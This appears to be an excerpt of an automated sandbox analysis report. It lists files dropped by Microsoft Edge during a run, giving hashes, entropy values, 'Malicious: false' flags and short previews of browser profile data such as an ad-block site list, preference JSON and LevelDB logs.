Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-672A7785-1680.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4460875900420239
Encrypted:	false
SSDEEP:	3072:a+B0TVEgOC0WhNom7+hXqX1CKq2p61uUSydGSMqxiWNs6mW5Vx8g1HFHi:70TNKOEqFCKqdlSyPMqUWGC5Vx8aH9i
MD5:	E2D62DAD4444504BC9ED5CE197705C69
SHA1:	3E9BC5526EB790E63F57B6F6C9DB5A1DED5420BB
SHA-256:	46A546A6A51243811DD41824AEF2FCF7374FE30CFA7BCEA5907FC06DB2FDBA74
SHA-512:	788C43AFEF860FF9A4AF383DD2B34E3D45059ECD8C47FA60DE992EBAE105224F142C86C2DC283C691DCF9C79FA239C633DB356D7D26F8E7DB6C5366D07CE8733
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".dydray20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\39884cf5-1498-4378-8d2e-33123cf9d884.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13139
Entropy (8bit):	5.217019665937805
Encrypted:	false
SSDEEP:	192:stxJ99QTryDiuabatSuypmsbCuaFvrE9khjHeV8fbV+F8gQAhUDP2YJ:stxPGQSu4msOuCDtbGBQ/r
MD5:	70A05B70DFA65CDB8650162EE1FC94CA
SHA1:	E3FE5927EE9AE60BF242CD58B22BC5B517166EA2
SHA-256:	7916B448EA5CE4C6556DF8F86D1C83DA20F23720853EA36B3FA67957026FAEEB
SHA-512:	0DAB1E2BE9BE5D0CAE9AB6547AEAE6C7FF81E25CC7737C84294BF71C5DC4232F26065CAAC11596F27A695C53A5F58DEA8269F23D31E1E2064320229BC8FAE582
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375309958023757","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7441e340-d50d-4d5d-b5ab-210db612ef29.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16717), with no line terminators
Category:	dropped
Size (bytes):	16719
Entropy (8bit):	5.435410495558549
Encrypted:	false
SSDEEP:	192:stxJ99QTryDiuabatSuypmsbCuaFvrE9kQH4I2pKZuQ1vRLGV8fbV+F8gQw4hUDf:stxPGQSu4msOuCDdIt1ZlbGBQwHr
MD5:	25E1C47A720A3A8E2CE478668688F3EF
SHA1:	D7DDCC7510DBA4CF8F50A8ED6B33A7A2898250A9
SHA-256:	C0979CCCB517CF5E7D7C9B88C635C651376B4DB50729513B3AFCB0D076046BBC
SHA-512:	15CD64708DA75849235DCFC45CCA51C08BD522C5514D976E5EC7A81AF46B3ED58447AFEF23A630856191111ECBAFAD22F56A0ECF15112B822EE981BD71C47339
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375309958023757","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.22115337843259
Encrypted:	false
SSDEEP:	6:H6/fQplm81N723oH+Tcwtp3hBtB2KLlV6/fQp07i+q2PN723oH+Tcwtp3hBWsIF2:+Q68aYebp3dFLGQW7i+vVaYebp3eFUv
MD5:	8E33DD6EA2B283629279B5A19BEFEC77
SHA1:	845C3732ACF1394C78645D818588D15192F3ED73
SHA-256:	7C6AE0404E57C3ED5DC4494F72760B303B02137589EA1CD7A5611816AA8C497F
SHA-512:	FDC9ADB54E42555795CA65E173298E73121AE8BB0F263CB068011628ABED817C2B4CAB2BB1E33071B0BA539DA3BAA27913D5CA3D7971E2F9A4A9F92AEAEB8EB7
Malicious:	false
Preview:	2024/11/05-14:52:42.551 1d3c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/05-14:52:42.580 1d3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222891647672921
Encrypted:	false
SSDEEP:	24576:IbPMZpVnfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVnfx2mjF
MD5:	E62CEBA34A2831639624AB0F5A0BDBAF
SHA1:	A3229988668A7EE7A71D66796A403AF03EEDF823
SHA-256:	040BC8C20289D834AD2B0014BE5F1A0C4D2B33DB3465A4C6E6362687DAC2B4CA
SHA-512:	3FA022E3702B73C8569A7864E983C2CF4BCD5EC157274A08FC66E1B5FE43A1544055881685AB551A3AA3FF3D8F801C8BD21408BF64C050B64487F238111DDB1D
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.11207581062793
Encrypted:	false
SSDEEP:	6:H6/fQpNN+q2PN723oH+Tcwt9Eh1tIFUt8Y6/fQp5Zmw+Y6/fQpytVkwON723oH+8:+QIvVaYeb9Eh16FUt8xQz/+xQ4T5OaYf
MD5:	C9D9565FC368CEA808D435646466B10F
SHA1:	7038864B5E21F2914CF363A3BA16ABC3007ECB69
SHA-256:	0AE014E658989A1FC7607E0C4F7BC4DD9FABDA043AEEB1A54791F1FCD6F83B7E
SHA-512:	632A0A59B2CFC9ADC450EF86F40C5E5A4149D09FFFBDED06D5CBBA04B84E34A98881CC92199B4407D63CE04CD200D00447CCFAD7D861A568461A28AAFF102139
Malicious:	false
Preview:	2024/11/05-14:52:42.598 2228 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/05-14:52:42.602 2228 Recovering log #3.2024/11/05-14:52:42.690 2228 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.11207581062793
Encrypted:	false
SSDEEP:	6:H6/fQpNN+q2PN723oH+Tcwt9Eh1tIFUt8Y6/fQp5Zmw+Y6/fQpytVkwON723oH+8:+QIvVaYeb9Eh16FUt8xQz/+xQ4T5OaYf
MD5:	C9D9565FC368CEA808D435646466B10F
SHA1:	7038864B5E21F2914CF363A3BA16ABC3007ECB69
SHA-256:	0AE014E658989A1FC7607E0C4F7BC4DD9FABDA043AEEB1A54791F1FCD6F83B7E
SHA-512:	632A0A59B2CFC9ADC450EF86F40C5E5A4149D09FFFBDED06D5CBBA04B84E34A98881CC92199B4407D63CE04CD200D00447CCFAD7D861A568461A28AAFF102139
Malicious:	false
Preview:	2024/11/05-14:52:42.598 2228 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/05-14:52:42.602 2228 Recovering log #3.2024/11/05-14:52:42.690 2228 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46217147108777085
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu5N28w:TouQq3qh7z3bY2LNW9WMcUvBuT27
MD5:	C0EC0F75500593BEAAE1E7DD15185A18
SHA1:	1607A2098EE1626EB58F2F23ECEFAC27CA800867
SHA-256:	B0DD785FCF0E602FFBD15114D279871EAAF6D6A220F1BEFAA513C5A3046EA755
SHA-512:	67FBE2739EE19232BE0657ABF1FBECEDB657F522E6AE0EEB934B8C3120C80AAEE6610678346691732125816C877971E57217A9DE766DF769FA496DDD5D68ABF5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.256429663543529
Encrypted:	false
SSDEEP:	6:H6/fQlMM+q2PN723oH+TcwtnG2tMsIFUt8Y6/fQrZZmw+Y6/fQqsMVkwON723oHC:+QKM+vVaYebn9GFUt8xQrZ/+xQqsMV5l
MD5:	2008044702D1ECF3FE84652045E3F498
SHA1:	DB62E2457F890A90ACB0AB4F794FE746B15CE17A
SHA-256:	AF7DFD9E233983B52D7EEC39873597272C09B84E98A84E011E241E978B04570F
SHA-512:	47D43C2112A8367466B2FE14F122C3795DEAF7E5C446B7069B0ED0CD8CCC63B1B6E5222BB89B5EA84136E0977F21034D3E6ABBB03B648F2DB7E579571450F458
Malicious:	false
Preview:	2024/11/05-14:52:37.651 c8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/05-14:52:37.693 c8c Recovering log #3.2024/11/05-14:52:37.694 c8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.256429663543529
Encrypted:	false
SSDEEP:	6:H6/fQlMM+q2PN723oH+TcwtnG2tMsIFUt8Y6/fQrZZmw+Y6/fQqsMVkwON723oHC:+QKM+vVaYebn9GFUt8xQrZ/+xQqsMV5l
MD5:	2008044702D1ECF3FE84652045E3F498
SHA1:	DB62E2457F890A90ACB0AB4F794FE746B15CE17A
SHA-256:	AF7DFD9E233983B52D7EEC39873597272C09B84E98A84E011E241E978B04570F
SHA-512:	47D43C2112A8367466B2FE14F122C3795DEAF7E5C446B7069B0ED0CD8CCC63B1B6E5222BB89B5EA84136E0977F21034D3E6ABBB03B648F2DB7E579571450F458
Malicious:	false
Preview:	2024/11/05-14:52:37.651 c8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/05-14:52:37.693 c8c Recovering log #3.2024/11/05-14:52:37.694 c8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6133781585964869
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWst4MAletrc:TLapR+DDNzWjJ0npnyXKUO8+jL4pYrmL
MD5:	5AD9FFC1E1AA18ADC416F384472A26E7
SHA1:	7E3280BDBF2CAB32752FB6C6085C31EA666D91B6
SHA-256:	224CD23D598DC28570BD284345DC463A5AFAD44509AB8AEE2937E62C69D4C4EE
SHA-512:	1830956A17ACD763049A99D5020FCD73FEB8DFAC710B2817CBFE01EB0281867E9757B1066F9874BCAC95C6F4C70F2B9B5001B1419C7432ACABF4390FDCCD9003
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354069495481149
Encrypted:	false
SSDEEP:	6144:pA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:pFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	1E201714A223B148D03EE006DCBB3CAB
SHA1:	8565623B4DFDADA0CA9DBA63ECB458461935C8F6
SHA-256:	1063CDAED4182ECEC9EE287F3D9C0F9A6BF34341537397EC0DD5EEA798F95F01
SHA-512:	B2F79F825917F3BC8DDDB187C6C8390BC4E03F0152DA742305A4093A6F7F2C02D579AFC88F2926A8424BAE674F9184323D8B846B04402BAEF5101F03DE71EF98
Malicious:	false
Preview:	...m.................DB_VERSION.1k.P]q...............&QUERY_TIMESTAMP:domains_config_gz2...13375309964107784..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
